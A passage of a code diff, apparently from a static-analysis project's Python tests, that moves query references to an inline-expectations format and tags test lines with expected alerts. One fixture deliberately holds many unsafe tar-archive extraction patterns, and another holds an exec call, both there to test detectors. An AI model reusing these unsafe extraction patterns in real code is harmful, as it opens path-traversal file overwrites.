a/python/ql/test/3/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref +++ b/python/ql/test/3/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref @@ -1 +1,2 @@ -Expressions/WrongNameForArgumentInCall.ql \ No newline at end of file +query: Expressions/WrongNameForArgumentInCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref b/python/ql/test/3/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref index 1bffe8f1cad4..68dc510d5c6e 100644 --- a/python/ql/test/3/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref +++ b/python/ql/test/3/query-tests/Expressions/Arguments/WrongNumberArgumentsInCall.qlref @@ -1 +1,2 @@ -Expressions/WrongNumberArgumentsInCall.ql \ No newline at end of file +query: Expressions/WrongNumberArgumentsInCall.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Expressions/Arguments/wrong_arguments.py b/python/ql/test/3/query-tests/Expressions/Arguments/wrong_arguments.py index 729177ea0b43..1242af144b61 100644 --- a/python/ql/test/3/query-tests/Expressions/Arguments/wrong_arguments.py +++ b/python/ql/test/3/query-tests/Expressions/Arguments/wrong_arguments.py @@ -9,8 +9,8 @@ def f(a, *varargs, kw1, kw2="has-default"): f(1, 2, kw1=1, kw2=2) #Not OK -f(1, 2, 3, kw1=1, kw3=3) -f(1, 2, 3, kw3=3) +f(1, 2, 3, kw1=1, kw3=3) # $ Alert[py/call/wrong-named-argument] +f(1, 2, 3, kw3=3) # $ Alert[py/call/wrong-named-argument] #ODASA-5897 @@ -21,4 +21,4 @@ def ok(): return analyze_member_access(msg, original=original, chk=chk) def bad(): - return analyze_member_access(msg, original, chk=chk) + return analyze_member_access(msg, original, chk=chk) # $ Alert[py/call/wrong-arguments] diff --git a/python/ql/test/3/query-tests/Expressions/Formatting/WrongNumberArgumentsForFormat.qlref b/python/ql/test/3/query-tests/Expressions/Formatting/WrongNumberArgumentsForFormat.qlref index 0d127e1b618b..744334a6aeb1 100644 --- a/python/ql/test/3/query-tests/Expressions/Formatting/WrongNumberArgumentsForFormat.qlref +++ b/python/ql/test/3/query-tests/Expressions/Formatting/WrongNumberArgumentsForFormat.qlref @@ -1 +1,2 @@ -Expressions/WrongNumberArgumentsForFormat.ql \ No newline at end of file +query: Expressions/WrongNumberArgumentsForFormat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Expressions/TruncatedDivision/TruncatedDivision.qlref b/python/ql/test/3/query-tests/Expressions/TruncatedDivision/TruncatedDivision.qlref index fa2c2cbf006c..17d539c32260 100644 --- a/python/ql/test/3/query-tests/Expressions/TruncatedDivision/TruncatedDivision.qlref +++ b/python/ql/test/3/query-tests/Expressions/TruncatedDivision/TruncatedDivision.qlref @@ -1 +1,2 @@ -Expressions/TruncatedDivision.ql +query: Expressions/TruncatedDivision.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Expressions/UseofApply/UseofApply.qlref b/python/ql/test/3/query-tests/Expressions/UseofApply/UseofApply.qlref index abf684e3918a..4add79acdb3c 100644 --- a/python/ql/test/3/query-tests/Expressions/UseofApply/UseofApply.qlref +++ b/python/ql/test/3/query-tests/Expressions/UseofApply/UseofApply.qlref @@ -1 +1,2 @@ -Expressions/UseofApply.ql +query: Expressions/UseofApply.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Imports/encoding_error/EncodingError.qlref b/python/ql/test/3/query-tests/Imports/encoding_error/EncodingError.qlref index a7e91769ded1..bc78d28db329 100644 --- a/python/ql/test/3/query-tests/Imports/encoding_error/EncodingError.qlref +++ b/python/ql/test/3/query-tests/Imports/encoding_error/EncodingError.qlref @@ -1 +1,2 @@ -Imports/EncodingError.ql +query: Imports/EncodingError.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Imports/syntax_error/EncodingError.qlref b/python/ql/test/3/query-tests/Imports/syntax_error/EncodingError.qlref index e742356f8658..bc78d28db329 100644 --- a/python/ql/test/3/query-tests/Imports/syntax_error/EncodingError.qlref +++ b/python/ql/test/3/query-tests/Imports/syntax_error/EncodingError.qlref @@ -1 +1,2 @@ -Imports/EncodingError.ql \ No newline at end of file +query: Imports/EncodingError.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Imports/syntax_error/SyntaxError.qlref b/python/ql/test/3/query-tests/Imports/syntax_error/SyntaxError.qlref index c143a01fe8b3..5d0698be3de5 100644 --- a/python/ql/test/3/query-tests/Imports/syntax_error/SyntaxError.qlref +++ b/python/ql/test/3/query-tests/Imports/syntax_error/SyntaxError.qlref @@ -1 +1,2 @@ -Imports/SyntaxError.ql \ No newline at end of file +query: Imports/SyntaxError.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Imports/syntax_error/bad_encoding.py b/python/ql/test/3/query-tests/Imports/syntax_error/bad_encoding.py index 9c61b1e1b114..5e3308df0f57 100644 --- a/python/ql/test/3/query-tests/Imports/syntax_error/bad_encoding.py +++ b/python/ql/test/3/query-tests/Imports/syntax_error/bad_encoding.py @@ -8,5 +8,5 @@ # encoding:shift-jis def f(): - print "Python ‚ÌŠJ”­‚ÍA1990 ”N‚²‚ë‚©‚çŠJŽn‚³‚ê‚Ä‚¢‚Ü‚·" + print "Python ‚ÌŠJ”­‚ÍA1990 ”N‚²‚ë‚©‚çŠJŽn‚³‚ê‚Ä‚¢‚Ü‚·" # $ Alert[py/encoding-error] """ diff --git a/python/ql/test/3/query-tests/Imports/syntax_error/nonsense.py b/python/ql/test/3/query-tests/Imports/syntax_error/nonsense.py index 66cdd526fbab..e0819afbc5ee 100644 --- a/python/ql/test/3/query-tests/Imports/syntax_error/nonsense.py +++ b/python/ql/test/3/query-tests/Imports/syntax_error/nonsense.py @@ -1,4 +1,4 @@ - `Twas brillig, and the slithy toves + `Twas brillig, and the slithy toves # $ Alert[py/syntax-error] Did gyre and gimble in the wabe: All mimsy were the borogoves, And the mome raths outgrabe. diff --git a/python/ql/test/3/query-tests/Statements/general/ExecUsed.qlref b/python/ql/test/3/query-tests/Statements/general/ExecUsed.qlref index ccff89d6815f..286996305ed1 100644 --- a/python/ql/test/3/query-tests/Statements/general/ExecUsed.qlref +++ b/python/ql/test/3/query-tests/Statements/general/ExecUsed.qlref @@ -1 +1,2 @@ -Statements/ExecUsed.ql \ No newline at end of file +query: Statements/ExecUsed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Statements/general/TopLevelPrint.qlref b/python/ql/test/3/query-tests/Statements/general/TopLevelPrint.qlref index 8271065261d0..e91717901f3d 100644 --- a/python/ql/test/3/query-tests/Statements/general/TopLevelPrint.qlref +++ b/python/ql/test/3/query-tests/Statements/general/TopLevelPrint.qlref @@ -1 +1,2 @@ -Statements/TopLevelPrint.ql \ No newline at end of file +query: Statements/TopLevelPrint.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Statements/general/module.py b/python/ql/test/3/query-tests/Statements/general/module.py index 0b1f4d26546b..af34eedf0dc3 100644 --- a/python/ql/test/3/query-tests/Statements/general/module.py +++ b/python/ql/test/3/query-tests/Statements/general/module.py @@ -1,2 +1,2 @@ #Top level prints in modules are bad -print ("Side effect on import") \ No newline at end of file +print ("Side effect on import") # $ Alert[py/print-during-import] \ No newline at end of file diff --git a/python/ql/test/3/query-tests/Statements/general/statements_test.py b/python/ql/test/3/query-tests/Statements/general/statements_test.py index 2baee458c04c..a4414a40f80c 100644 --- a/python/ql/test/3/query-tests/Statements/general/statements_test.py +++ b/python/ql/test/3/query-tests/Statements/general/statements_test.py @@ -2,7 +2,7 @@ def exec_used(val): - exec(val) + exec(val) # $ Alert[py/use-of-exec] #Top level print import module diff --git a/python/ql/test/3/query-tests/Statements/iter/IterableStringOrSequence.qlref b/python/ql/test/3/query-tests/Statements/iter/IterableStringOrSequence.qlref index e8f1ce1b79ef..c24806ccf305 100644 --- a/python/ql/test/3/query-tests/Statements/iter/IterableStringOrSequence.qlref +++ b/python/ql/test/3/query-tests/Statements/iter/IterableStringOrSequence.qlref @@ -1 +1,2 @@ -Statements/IterableStringOrSequence.ql \ No newline at end of file +query: Statements/IterableStringOrSequence.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Statements/iter/NonIteratorInForLoop.qlref b/python/ql/test/3/query-tests/Statements/iter/NonIteratorInForLoop.qlref index fb09cace29a8..b7697d64d8fa 100644 --- a/python/ql/test/3/query-tests/Statements/iter/NonIteratorInForLoop.qlref +++ b/python/ql/test/3/query-tests/Statements/iter/NonIteratorInForLoop.qlref @@ -1 +1,2 @@ -Statements/NonIteratorInForLoop.ql \ No newline at end of file +query: Statements/NonIteratorInForLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Statements/iter/async_iterator.py b/python/ql/test/3/query-tests/Statements/iter/async_iterator.py index fdde931eace9..76972058a02a 100644 --- a/python/ql/test/3/query-tests/Statements/iter/async_iterator.py +++ b/python/ql/test/3/query-tests/Statements/iter/async_iterator.py @@ -23,5 +23,5 @@ async def good(): yield x async def bad(): - async for x in MissingAiter(): + async for x in MissingAiter(): # $ Alert[py/non-iterable-in-for-loop] yield x diff --git a/python/ql/test/3/query-tests/Statements/iter/statements_test.py b/python/ql/test/3/query-tests/Statements/iter/statements_test.py index 33b3f4aae5c5..daf811f3f83d 100644 --- a/python/ql/test/3/query-tests/Statements/iter/statements_test.py +++ b/python/ql/test/3/query-tests/Statements/iter/statements_test.py @@ -18,7 +18,7 @@ def f(x): s = u"Hello World" else: s = [ u'Hello', u'World'] - for thing in s: + for thing in s: # $ Alert[py/iteration-string-and-sequence] print (thing) @@ -31,7 +31,7 @@ class Color(Enum): def colors(): for color in Color: print(color) - for color in 1: + for color in 1: # $ Alert[py/non-iterable-in-for-loop] print(color) colors() diff --git a/python/ql/test/3/query-tests/Statements/unreachable/UnreachableCode.qlref b/python/ql/test/3/query-tests/Statements/unreachable/UnreachableCode.qlref index 5b7891f0026a..b95a67d24949 100644 --- a/python/ql/test/3/query-tests/Statements/unreachable/UnreachableCode.qlref +++ b/python/ql/test/3/query-tests/Statements/unreachable/UnreachableCode.qlref @@ -1 +1,2 @@ -Statements/UnreachableCode.ql +query: Statements/UnreachableCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Statements/unreachable_suppressed/UnreachableCode.qlref b/python/ql/test/3/query-tests/Statements/unreachable_suppressed/UnreachableCode.qlref index 5b7891f0026a..b95a67d24949 100644 --- a/python/ql/test/3/query-tests/Statements/unreachable_suppressed/UnreachableCode.qlref +++ b/python/ql/test/3/query-tests/Statements/unreachable_suppressed/UnreachableCode.qlref @@ -1 +1,2 @@ -Statements/UnreachableCode.ql +query: Statements/UnreachableCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Summary/LinesOfCode.qlref b/python/ql/test/3/query-tests/Summary/LinesOfCode.qlref index b60eb7917224..d22b10044239 100644 --- a/python/ql/test/3/query-tests/Summary/LinesOfCode.qlref +++ b/python/ql/test/3/query-tests/Summary/LinesOfCode.qlref @@ -1 +1 @@ -Summary/LinesOfCode.ql +query: Summary/LinesOfCode.ql diff --git a/python/ql/test/3/query-tests/Summary/LinesOfUserCode.qlref b/python/ql/test/3/query-tests/Summary/LinesOfUserCode.qlref index baaa947e6afa..99a6d1324943 100644 --- a/python/ql/test/3/query-tests/Summary/LinesOfUserCode.qlref +++ b/python/ql/test/3/query-tests/Summary/LinesOfUserCode.qlref @@ -1 +1 @@ -Summary/LinesOfUserCode.ql +query: Summary/LinesOfUserCode.ql diff --git a/python/ql/test/3/query-tests/Variables/undefined/UndefinedExport.py b/python/ql/test/3/query-tests/Variables/undefined/UndefinedExport.py index fc1a03f6e1c9..84a717c03143 100644 --- a/python/ql/test/3/query-tests/Variables/undefined/UndefinedExport.py +++ b/python/ql/test/3/query-tests/Variables/undefined/UndefinedExport.py @@ -1,6 +1,6 @@ -__all__ = [ "x", "y", "z", "module", "w" ] +__all__ = [ "x", "y", "z", "module", "w" ] # $ Alert[py/undefined-export] x = 1 if 0: diff --git a/python/ql/test/3/query-tests/Variables/undefined/UndefinedExport.qlref b/python/ql/test/3/query-tests/Variables/undefined/UndefinedExport.qlref index 3e5d31e47488..d964148077e5 100644 --- a/python/ql/test/3/query-tests/Variables/undefined/UndefinedExport.qlref +++ b/python/ql/test/3/query-tests/Variables/undefined/UndefinedExport.qlref @@ -1 +1,2 @@ -Variables/UndefinedExport.ql +query: Variables/UndefinedExport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Variables/undefined/UninitializedLocal.qlref b/python/ql/test/3/query-tests/Variables/undefined/UninitializedLocal.qlref index f2d0e603554a..90233ce61888 100644 --- a/python/ql/test/3/query-tests/Variables/undefined/UninitializedLocal.qlref +++ b/python/ql/test/3/query-tests/Variables/undefined/UninitializedLocal.qlref @@ -1 +1,2 @@ -Variables/UninitializedLocal.ql +query: Variables/UninitializedLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Variables/undefined/enum_convert.py b/python/ql/test/3/query-tests/Variables/undefined/enum_convert.py index 58979d0b4c9c..db6b89b8f7f4 100644 --- a/python/ql/test/3/query-tests/Variables/undefined/enum_convert.py +++ b/python/ql/test/3/query-tests/Variables/undefined/enum_convert.py @@ -5,4 +5,4 @@ __name__, lambda C: C.isupper() and C.startswith('AF_')) -__all__ = [ "Maybe", "Maybe_not" ] +__all__ = [ "Maybe", "Maybe_not" ] # $ Alert[py/undefined-export] diff --git a/python/ql/test/3/query-tests/Variables/undefined/package/__init__.py b/python/ql/test/3/query-tests/Variables/undefined/package/__init__.py index 85f1f2ac24f4..d0f80d5e8909 100644 --- a/python/ql/test/3/query-tests/Variables/undefined/package/__init__.py +++ b/python/ql/test/3/query-tests/Variables/undefined/package/__init__.py @@ -1 +1 @@ -__all__ = [ "module", "not_exists" ] \ No newline at end of file +__all__ = [ "module", "not_exists" ] # $ Alert[py/undefined-export] \ No newline at end of file diff --git a/python/ql/test/experimental/library-tests/CallGraph-implicit-init/InlineCallGraphTest.qlref b/python/ql/test/experimental/library-tests/CallGraph-implicit-init/InlineCallGraphTest.qlref index 25117a4582bd..e7b837c89003 100644 --- a/python/ql/test/experimental/library-tests/CallGraph-implicit-init/InlineCallGraphTest.qlref +++ b/python/ql/test/experimental/library-tests/CallGraph-implicit-init/InlineCallGraphTest.qlref @@ -1 +1 @@ -../CallGraph/InlineCallGraphTest.ql +query: ../CallGraph/InlineCallGraphTest.ql diff --git a/python/ql/test/experimental/library-tests/CallGraph-imports/InlineCallGraphTest.qlref b/python/ql/test/experimental/library-tests/CallGraph-imports/InlineCallGraphTest.qlref index 25117a4582bd..e7b837c89003 100644 --- a/python/ql/test/experimental/library-tests/CallGraph-imports/InlineCallGraphTest.qlref +++ b/python/ql/test/experimental/library-tests/CallGraph-imports/InlineCallGraphTest.qlref @@ -1 +1 @@ -../CallGraph/InlineCallGraphTest.ql +query: ../CallGraph/InlineCallGraphTest.ql diff --git a/python/ql/test/experimental/library-tests/CallGraph-type-annotations/InlineCallGraphTest.qlref b/python/ql/test/experimental/library-tests/CallGraph-type-annotations/InlineCallGraphTest.qlref index 25117a4582bd..e7b837c89003 100644 --- a/python/ql/test/experimental/library-tests/CallGraph-type-annotations/InlineCallGraphTest.qlref +++ b/python/ql/test/experimental/library-tests/CallGraph-type-annotations/InlineCallGraphTest.qlref @@ -1 +1 @@ -../CallGraph/InlineCallGraphTest.ql +query: ../CallGraph/InlineCallGraphTest.ql diff --git a/python/ql/test/experimental/library-tests/FindSubclass/Find.qlref b/python/ql/test/experimental/library-tests/FindSubclass/Find.qlref index f8bd638be1ab..59bdb1462def 100644 --- a/python/ql/test/experimental/library-tests/FindSubclass/Find.qlref +++ b/python/ql/test/experimental/library-tests/FindSubclass/Find.qlref @@ -1 +1 @@ -meta/ClassHierarchy/Find.ql +query: meta/ClassHierarchy/Find.ql diff --git a/python/ql/test/experimental/query-tests/Classes/Naming/NamingConventionsClasses.py b/python/ql/test/experimental/query-tests/Classes/Naming/NamingConventionsClasses.py index c07bdb57234a..46633a009f72 100644 --- a/python/ql/test/experimental/query-tests/Classes/Naming/NamingConventionsClasses.py +++ b/python/ql/test/experimental/query-tests/Classes/Naming/NamingConventionsClasses.py @@ -1,5 +1,5 @@ # BAD, do not start class or interface name with lowercase letter -class badName: +class badName: # $ Alert def hello(self): print("hello") diff --git a/python/ql/test/experimental/query-tests/Classes/Naming/NamingConventionsClasses.qlref b/python/ql/test/experimental/query-tests/Classes/Naming/NamingConventionsClasses.qlref index 7ed945d782c4..b5b73c19bf81 100644 --- a/python/ql/test/experimental/query-tests/Classes/Naming/NamingConventionsClasses.qlref +++ b/python/ql/test/experimental/query-tests/Classes/Naming/NamingConventionsClasses.qlref @@ -1 +1,2 @@ -experimental/Classes/NamingConventionsClasses.ql \ No newline at end of file +query: experimental/Classes/NamingConventionsClasses.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Functions/general/NamingConventionsFunctions.py b/python/ql/test/experimental/query-tests/Functions/general/NamingConventionsFunctions.py index fb3e89ab8e92..5923ce5919f3 100644 --- a/python/ql/test/experimental/query-tests/Functions/general/NamingConventionsFunctions.py +++ b/python/ql/test/experimental/query-tests/Functions/general/NamingConventionsFunctions.py @@ -1,7 +1,7 @@ class Test: # BAD, do not start function name with uppercase letter - def HelloWorld(self): + def HelloWorld(self): # $ Alert print("hello world") # GOOD, function name starts with lowercase letter diff --git a/python/ql/test/experimental/query-tests/Functions/general/NamingConventionsFunctions.qlref b/python/ql/test/experimental/query-tests/Functions/general/NamingConventionsFunctions.qlref index 0204694de0a3..21d3e5fe1358 100644 --- a/python/ql/test/experimental/query-tests/Functions/general/NamingConventionsFunctions.qlref +++ b/python/ql/test/experimental/query-tests/Functions/general/NamingConventionsFunctions.qlref @@ -1 +1,2 @@ -experimental/Functions/NamingConventionsFunctions.ql \ No newline at end of file +query: experimental/Functions/NamingConventionsFunctions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlip.qlref b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlip.qlref index a518196b6982..2842a87d0803 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlip.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlip.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-022bis/TarSlipImprov.ql +query: experimental/Security/CWE-022bis/TarSlipImprov.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlipImprov.py b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlipImprov.py index 15bc66b4aea5..3b59f24e4026 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlipImprov.py +++ b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/TarSlipImprov.py @@ -12,14 +12,14 @@ unsafe_filename_tar = sys.argv[2] safe_filename_tar = "safe_path.tar" -tar = tarfile.open(unsafe_filename_tar) +tar = tarfile.open(unsafe_filename_tar) # $ Source[py/tarslip-extended] result = [] for member in tar: if ".." in member.name: raise ValueError("Path in member name !!!") result.append(member) path = unsafe_filename_tar -tar.extractall(path=path, members=result) +tar.extractall(path=path, members=result) # $ Alert[py/tarslip-extended] tar.close() @@ -35,27 +35,27 @@ def members_filter1(tarfile): result.append(member) return result -tar = tarfile.open(unsafe_filename_tar) -tar.extractall(path=tempfile.mkdtemp(), members=members_filter1(tar)) +tar = tarfile.open(unsafe_filename_tar) # $ Source[py/tarslip-extended] +tar.extractall(path=tempfile.mkdtemp(), members=members_filter1(tar)) # $ Alert[py/tarslip-extended] tar.close() -with tarfile.open(unsafe_filename_tar) as tar: +with tarfile.open(unsafe_filename_tar) as tar: # $ Source[py/tarslip-extended] for entry in tar: if ".." in entry.name: raise ValueError("Illegal tar archive entry") - tar.extract(entry, "/tmp/unpack/") + tar.extract(entry, "/tmp/unpack/") # $ Alert[py/tarslip-extended] def _validate_archive_name(name, target): if not os.path.abspath(os.path.join(target, name)).startswith(target + os.path.sep): raise ValueError(f"Provided language pack contains invalid name {name}") -with tarfile.open(unsafe_filename_tar) as tar: +with tarfile.open(unsafe_filename_tar) as tar: # $ Source[py/tarslip-extended] target = "/tmp/unpack" for entry in tar: _validate_archive_name(entry.name, target) - tar.extract(entry, target) + tar.extract(entry, target) # $ Alert[py/tarslip-extended] def members_filter2(tarfile): @@ -85,10 +85,10 @@ def _validate_archive_name(name, target): raise ValueError(f"Provided language pack contains invalid name {name}") target = "/tmp/unpack" -with tarfile.open(unsafe_filename_tar, "r") as tar: +with tarfile.open(unsafe_filename_tar, "r") as tar: # $ Source[py/tarslip-extended] for info in tar.getmembers(): _validate_tar_info(info, target) - tar.extractall(target) + tar.extractall(target) # $ Alert[py/tarslip-extended] def members_filter3(tarfile): @@ -108,11 +108,11 @@ def members_filter3(tarfile): tar.close() -tar = tarfile.open(unsafe_filename_tar) +tar = tarfile.open(unsafe_filename_tar) # $ Source[py/tarslip-extended] tarf = tar.getmembers() for f in tarf: if not f.issym(): - tar.extractall(path=tempfile.mkdtemp(), members=[f]) + tar.extractall(path=tempfile.mkdtemp(), members=[f]) # $ Alert[py/tarslip-extended] tar.close() @@ -120,27 +120,27 @@ class MKTar(TarFile): pass tarball = unsafe_filename_tar -with MKTar.open(name=tarball) as tar: +with MKTar.open(name=tarball) as tar: # $ Source[py/tarslip-extended] for entry in tar: - tar._extract_member(entry, entry.name) + tar._extract_member(entry, entry.name) # $ Alert[py/tarslip-extended] tarball = unsafe_filename_tar -with tarfile.open(tarball) as tar: - tar.extractall() +with tarfile.open(tarball) as tar: # $ Source[py/tarslip-extended] + tar.extractall() # $ Alert[py/tarslip-extended] -tar = tarfile.open(unsafe_filename_tar) -tar.extractall(path=tempfile.mkdtemp(), members=None) +tar = tarfile.open(unsafe_filename_tar) # $ Source[py/tarslip-extended] +tar.extractall(path=tempfile.mkdtemp(), members=None) # $ Alert[py/tarslip-extended] class MKTar(tarfile.TarFile): pass tarball = unsafe_filename_tar -with MKTar.open(name=tarball) as tar: +with MKTar.open(name=tarball) as tar: # $ Source[py/tarslip-extended] for entry in tar: - tar._extract_member(entry, entry.name) + tar._extract_member(entry, entry.name) # $ Alert[py/tarslip-extended] @contextmanager @@ -148,7 +148,7 @@ def py2_tarxz(filename): with tempfile.TemporaryFile() as tmp: subprocess.check_call(["xz", "-dc", filename], stdout=tmp.fileno()) tmp.seek(0) - with closing(tarfile.TarFile(fileobj=tmp)) as tf: + with closing(tarfile.TarFile(fileobj=tmp)) as tf: # $ Source[py/tarslip-extended] yield tf def unpack_tarball(tar_filename, dest): @@ -156,7 +156,7 @@ def unpack_tarball(tar_filename, dest): # Py 2.7 lacks lzma support tar_cm = py2_tarxz(tar_filename) else: - tar_cm = closing(tarfile.open(tar_filename)) + tar_cm = closing(tarfile.open(tar_filename)) # $ Source[py/tarslip-extended] base_dir = None with tar_cm as tarc: @@ -166,32 +166,32 @@ def unpack_tarball(tar_filename, dest): base_dir = base_name elif base_dir != base_name: print('Unexpected path in %s: %s' % (tar_filename, base_name)) - tarc.extractall(dest) + tarc.extractall(dest) # $ Alert[py/tarslip-extended] return os.path.join(dest, base_dir) unpack_tarball(unsafe_filename_tar, "/tmp/unpack") tarball = unsafe_filename_tar -with tarfile.open(name=tarball) as tar: +with tarfile.open(name=tarball) as tar: # $ Source[py/tarslip-extended] for entry in tar: - tar._extract_member(entry, entry.name) + tar._extract_member(entry, entry.name) # $ Alert[py/tarslip-extended] tarball = unsafe_filename_tar -with tarfile.open(name=tarball) as tar: +with tarfile.open(name=tarball) as tar: # $ Source[py/tarslip-extended] for entry in tar: - tar.extract(entry, "/tmp/unpack/") + tar.extract(entry, "/tmp/unpack/") # $ Alert[py/tarslip-extended] tarball = unsafe_filename_tar -tar = tarfile.open(tarball) -tar.extractall("/tmp/unpack/") +tar = tarfile.open(tarball) # $ Source[py/tarslip-extended] +tar.extractall("/tmp/unpack/") # $ Alert[py/tarslip-extended] tarball = unsafe_filename_tar -with tarfile.open(tarball, "r") as tar: - tar.extractall(path="/tmp/unpack/", members=tar) +with tarfile.open(tarball, "r") as tar: # $ Source[py/tarslip-extended] + tar.extractall(path="/tmp/unpack/", members=tar) # $ Alert[py/tarslip-extended] def members_filter4(tarfile): @@ -207,8 +207,8 @@ def members_filter4(tarfile): tar.close() -with tarfile.open(unsafe_filename_tar, "r") as tar: - tar.extractall(path="/tmp/unpack") +with tarfile.open(unsafe_filename_tar, "r") as tar: # $ Source[py/tarslip-extended] + tar.extractall(path="/tmp/unpack") # $ Alert[py/tarslip-extended] def members_filter5(tarfile): @@ -228,12 +228,12 @@ def members_filter5(tarfile): tmp_dir = "/tmp/" read_type = "r:gz" if filename.endswith("tgz") else "r" -with tarfile.open(filename, read_type) as corpus_tar: +with tarfile.open(filename, read_type) as corpus_tar: # $ Source[py/tarslip-extended] members = [] for f in corpus_tar: if not os.path.isfile(os.path.join(tmp_dir, f.name)): members.append(f) - corpus_tar.extractall(tmp_dir, members=members) + corpus_tar.extractall(tmp_dir, members=members) # $ Alert[py/tarslip-extended] def members_filter6(tarfile): @@ -251,66 +251,66 @@ def members_filter6(tarfile): archive_path = unsafe_filename_tar target_dir = "/tmp/unpack" -tarfile.open(archive_path, "r").extractall(path=target_dir) +tarfile.open(archive_path, "r").extractall(path=target_dir) # $ Alert[py/tarslip-extended] tarball = unsafe_filename_tar -with tarfile.open(tarball) as tar: +with tarfile.open(tarball) as tar: # $ Source[py/tarslip-extended] for entry in tar: if entry.isfile(): - tar.extract(entry, "/tmp/unpack/") + tar.extract(entry, "/tmp/unpack/") # $ Alert[py/tarslip-extended] -with tarfile.open(unsafe_filename_tar) as tar: +with tarfile.open(unsafe_filename_tar) as tar: # $ Source[py/tarslip-extended] for entry in tar: if entry.name.startswith("/"): raise ValueError("Illegal tar archive entry") - tar.extract(entry, "/tmp/unpack/") + tar.extract(entry, "/tmp/unpack/") # $ Alert[py/tarslip-extended] tarball = unsafe_filename_tar -with tarfile.TarFile(tarball, mode="r") as tar: +with tarfile.TarFile(tarball, mode="r") as tar: # $ Source[py/tarslip-extended] for entry in tar: if entry.isfile(): - tar.extract(entry, "/tmp/unpack/") + tar.extract(entry, "/tmp/unpack/") # $ Alert[py/tarslip-extended] -with tarfile.open(unsafe_filename_tar) as tar: +with tarfile.open(unsafe_filename_tar) as tar: # $ Source[py/tarslip-extended] for entry in tar: if os.path.isabs(entry.name): raise ValueError("Illegal tar archive entry") - tar.extract(entry, "/tmp/unpack/") + tar.extract(entry, "/tmp/unpack/") # $ Alert[py/tarslip-extended] -with tarfile.TarFile(unsafe_filename_tar, mode="r") as tar: - tar.extractall(path="/tmp/unpack") +with tarfile.TarFile(unsafe_filename_tar, mode="r") as tar: # $ Source[py/tarslip-extended] + tar.extractall(path="/tmp/unpack") # $ Alert[py/tarslip-extended] -tar = tarfile.open(filename) -tar.extractall(path=tempfile.mkdtemp(), members=tar.getmembers()) +tar = tarfile.open(filename) # $ Source[py/tarslip-extended] +tar.extractall(path=tempfile.mkdtemp(), members=tar.getmembers()) # $ Alert[py/tarslip-extended] tar.close() -tar = tarfile.open(unsafe_filename_tar) -tar.extractall(path=tempfile.mkdtemp(), members=None) +tar = tarfile.open(unsafe_filename_tar) # $ Source[py/tarslip-extended] +tar.extractall(path=tempfile.mkdtemp(), members=None) # $ Alert[py/tarslip-extended] tar.extractall(path=tempfile.mkdtemp(), members=members_filter4(tar)) tar.close() -with tarfile.TarFile(unsafe_filename_tar, mode="r") as tar: - tar.extractall(path="/tmp/unpack/", members=tar) +with tarfile.TarFile(unsafe_filename_tar, mode="r") as tar: # $ Source[py/tarslip-extended] + tar.extractall(path="/tmp/unpack/", members=tar) # $ Alert[py/tarslip-extended] -tar = tarfile.open(unsafe_filename_tar) +tar = tarfile.open(unsafe_filename_tar) # $ Source[py/tarslip-extended] result = [] for member in tar: if member.issym(): raise ValueError("But it is a symlink") result.append(member) -tar.extractall(path=tempfile.mkdtemp(), members=result) +tar.extractall(path=tempfile.mkdtemp(), members=result) # $ Alert[py/tarslip-extended] tar.close() archive_path = unsafe_filename_tar target_dir = "/tmp/unpack" -tarfile.TarFile(unsafe_filename_tar, mode="r").extractall(path=target_dir) \ No newline at end of file +tarfile.TarFile(unsafe_filename_tar, mode="r").extractall(path=target_dir) # $ Alert[py/tarslip-extended] \ No newline at end of file diff --git a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/ZipSlip.qlref b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/ZipSlip.qlref index 717dc9d0f105..177a74d6bd74 100644 --- a/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/ZipSlip.qlref +++ b/python/ql/test/experimental/query-tests/Security/CWE-022-TarSlip/ZipSlip.qlref @@ -1 +1,2 @@ -experimental/Security/CWE-022/ZipSlip.ql +query: 